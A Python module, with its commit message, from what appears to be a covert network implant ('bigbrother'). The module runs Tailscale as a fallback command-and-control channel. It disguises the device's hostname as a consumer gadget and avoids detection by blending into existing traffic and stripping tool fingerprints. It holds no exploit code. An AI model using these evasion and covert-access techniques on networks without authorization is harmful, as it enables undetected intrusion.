Files
bigbrother/modules/connectivity/tailscale.py
T
Cobra ffd384f64b Strip OPSEC tool identity fingerprints
Replace all sensor.* logger namespaces with __name__ (generic module
identifiers instead of discoverable 'sensor.*' prefixes).

Change hardcoded 'bb' API user to 'admin' in config and code defaults.

Change hardcoded relay_user 'bb' to 'operator' — prevents network
profiling from exposing tool identity via SSH config.

Fixes #457, #458, #459
2026-04-08 22:18:35 -04:00

291 lines
10 KiB
Python

#!/usr/bin/env python3
"""Tailscale module — fallback operator access via Tailscale mesh VPN.
FALLBACK ONLY. Tailscale maintains persistent connections to coordination
servers — it is chatty by design. Use only when:
1. WireGuard is blocked by the target network
2. Target network already has Tailscale traffic (blends in)
Manages the tailscaled daemon via subprocess. Authenticates with a
per-engagement auth key and sets hostname to match the MAC profile
(e.g., "amazon-fire-tv-xxx") for consistency with the device cover story.
"""
import logging
import os
import subprocess
import time
from typing import Optional
from modules.base import BaseModule
logger = logging.getLogger(__name__)
TAILSCALE_BIN = "/usr/bin/tailscale"
TAILSCALED_BIN = "/usr/sbin/tailscaled"
STARTUP_TIMEOUT = 30 # seconds to wait for tailscaled to be ready
class Tailscale(BaseModule):
"""Fallback C2 — Tailscale mesh VPN managed as subprocess."""
name = "tailscale"
module_type = "connectivity"
priority = -150
requires_root = True
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._daemon_proc: Optional[subprocess.Popen] = None
self._auth_key: Optional[str] = None
self._hostname: Optional[str] = None
self._connected = False
self._tailscale_ip: Optional[str] = None
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
ts_cfg = self.config.get("connectivity", {}).get("tailscale", {})
if not ts_cfg:
logger.error("No tailscale config in bigbrother.yaml")
self.state.set_module_status(self.name, "error")
return
self._auth_key = ts_cfg.get("auth_key")
self._hostname = ts_cfg.get("hostname")
if not self._auth_key:
logger.error("Tailscale auth_key not configured")
self.state.set_module_status(self.name, "error")
return
# If no hostname specified, try to match MAC profile
if not self._hostname:
mac_hostname = self.state.get(
"mac_manager", "dhcp_hostname", default=None
)
if mac_hostname:
self._hostname = mac_hostname.replace(" ", "-").lower()
else:
self._hostname = f"bb-{os.urandom(3).hex()}"
# Start tailscaled daemon
if not self._start_daemon(ts_cfg):
self.state.set_module_status(self.name, "error")
return
# Authenticate and bring up
if not self.up(self._auth_key):
logger.error("Failed to bring Tailscale up")
self._stop_daemon()
self.state.set_module_status(self.name, "error")
return
self._running = True
self._pid = os.getpid()
self._start_time = time.time()
self._connected = True
self.state.set_module_status(self.name, "running", pid=self._pid)
self.bus.emit("CONNECTIVITY_CHANGED",
{"module": self.name, "state": "up",
"ip": self._tailscale_ip, "hostname": self._hostname},
source_module=self.name)
logger.info("Tailscale up — hostname=%s, ip=%s",
self._hostname, self._tailscale_ip)
def stop(self) -> None:
if not self._running:
return
self.down()
self._stop_daemon()
self._running = False
self._connected = False
self.state.set_module_status(self.name, "stopped")
self.bus.emit("CONNECTIVITY_CHANGED",
{"module": self.name, "state": "down"},
source_module=self.name)
logger.info("Tailscale stopped")
def status(self) -> dict:
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
"connected": self._connected,
"ip": self._tailscale_ip,
"hostname": self._hostname,
"daemon_pid": self._daemon_proc.pid if self._daemon_proc else None,
}
def configure(self, config: dict) -> None:
self.config.update(config)
def health_check(self) -> bool:
if not self._running:
return False
return self.is_connected()
# ------------------------------------------------------------------
# Tailscale operations
# ------------------------------------------------------------------
def up(self, auth_key: str) -> bool:
"""Authenticate and bring Tailscale up with the given auth key."""
try:
cmd = [TAILSCALE_BIN, "up",
"--authkey", auth_key,
"--hostname", self._hostname,
"--accept-routes"]
result = subprocess.run(
cmd, capture_output=True, text=True, timeout=30,
)
if result.returncode != 0:
logger.error("tailscale up failed: %s", result.stderr.strip())
return False
# Get assigned IP
self._tailscale_ip = self.get_ip()
return self._tailscale_ip is not None
except subprocess.TimeoutExpired:
logger.error("tailscale up timed out")
return False
def down(self) -> bool:
"""Bring Tailscale down (logout and disconnect)."""
try:
subprocess.run(
[TAILSCALE_BIN, "logout"],
capture_output=True, timeout=15,
)
subprocess.run(
[TAILSCALE_BIN, "down"],
capture_output=True, timeout=15,
)
self._connected = False
return True
except (subprocess.CalledProcessError, subprocess.TimeoutExpired) as exc:
logger.warning("Error during tailscale down: %s", exc)
return False
def is_connected(self) -> bool:
"""Check if Tailscale is connected and has an IP."""
try:
result = subprocess.run(
[TAILSCALE_BIN, "status", "--json"],
capture_output=True, text=True, timeout=10,
)
if result.returncode != 0:
return False
import json
status = json.loads(result.stdout)
backend_state = status.get("BackendState", "")
self._connected = backend_state == "Running"
return self._connected
except (subprocess.TimeoutExpired, ValueError, KeyError):
return False
def get_ip(self) -> Optional[str]:
"""Get the Tailscale IPv4 address."""
try:
result = subprocess.run(
[TAILSCALE_BIN, "ip", "-4"],
capture_output=True, text=True, timeout=10,
)
if result.returncode == 0 and result.stdout.strip():
ip = result.stdout.strip().splitlines()[0]
self._tailscale_ip = ip
return ip
except (subprocess.CalledProcessError, subprocess.TimeoutExpired):
pass
return None
# ------------------------------------------------------------------
# Daemon management
# ------------------------------------------------------------------
def _start_daemon(self, ts_cfg: dict) -> bool:
"""Start tailscaled as a managed subprocess."""
state_dir = ts_cfg.get("state_dir", "/var/lib/tailscale")
socket_path = ts_cfg.get("socket", "/var/run/tailscale/tailscaled.sock")
os.makedirs(state_dir, exist_ok=True)
os.makedirs(os.path.dirname(socket_path), exist_ok=True)
cmd = [
TAILSCALED_BIN,
f"--state={state_dir}/tailscaled.state",
f"--socket={socket_path}",
"--tun=userspace-networking",
]
try:
self._daemon_proc = subprocess.Popen(
cmd,
stdout=subprocess.DEVNULL,
stderr=subprocess.PIPE,
)
except FileNotFoundError:
logger.error("tailscaled binary not found at %s", TAILSCALED_BIN)
return False
except OSError as exc:
logger.error("Failed to start tailscaled: %s", exc)
return False
# Wait for daemon to be ready
deadline = time.time() + STARTUP_TIMEOUT
while time.time() < deadline:
if self._daemon_proc.poll() is not None:
stderr = self._daemon_proc.stderr.read().decode(errors='replace')
logger.error("tailscaled exited prematurely: %s", stderr[:500])
return False
try:
result = subprocess.run(
[TAILSCALE_BIN, "status"],
capture_output=True, timeout=5,
)
# Any response (even "not logged in") means daemon is ready
if result.returncode in (0, 1):
logger.debug("tailscaled is ready")
return True
except (subprocess.TimeoutExpired, FileNotFoundError):
pass
time.sleep(1.0)
logger.error("tailscaled did not become ready within %ds", STARTUP_TIMEOUT)
self._stop_daemon()
return False
def _stop_daemon(self) -> None:
"""Stop the tailscaled subprocess."""
if self._daemon_proc is None:
return
if self._daemon_proc.poll() is None:
try:
self._daemon_proc.terminate()
self._daemon_proc.wait(timeout=5.0)
except subprocess.TimeoutExpired:
logger.warning("tailscaled did not stop after SIGTERM, killing")
self._daemon_proc.kill()
try:
self._daemon_proc.wait(timeout=2.0)
except subprocess.TimeoutExpired:
pass
self._daemon_proc = None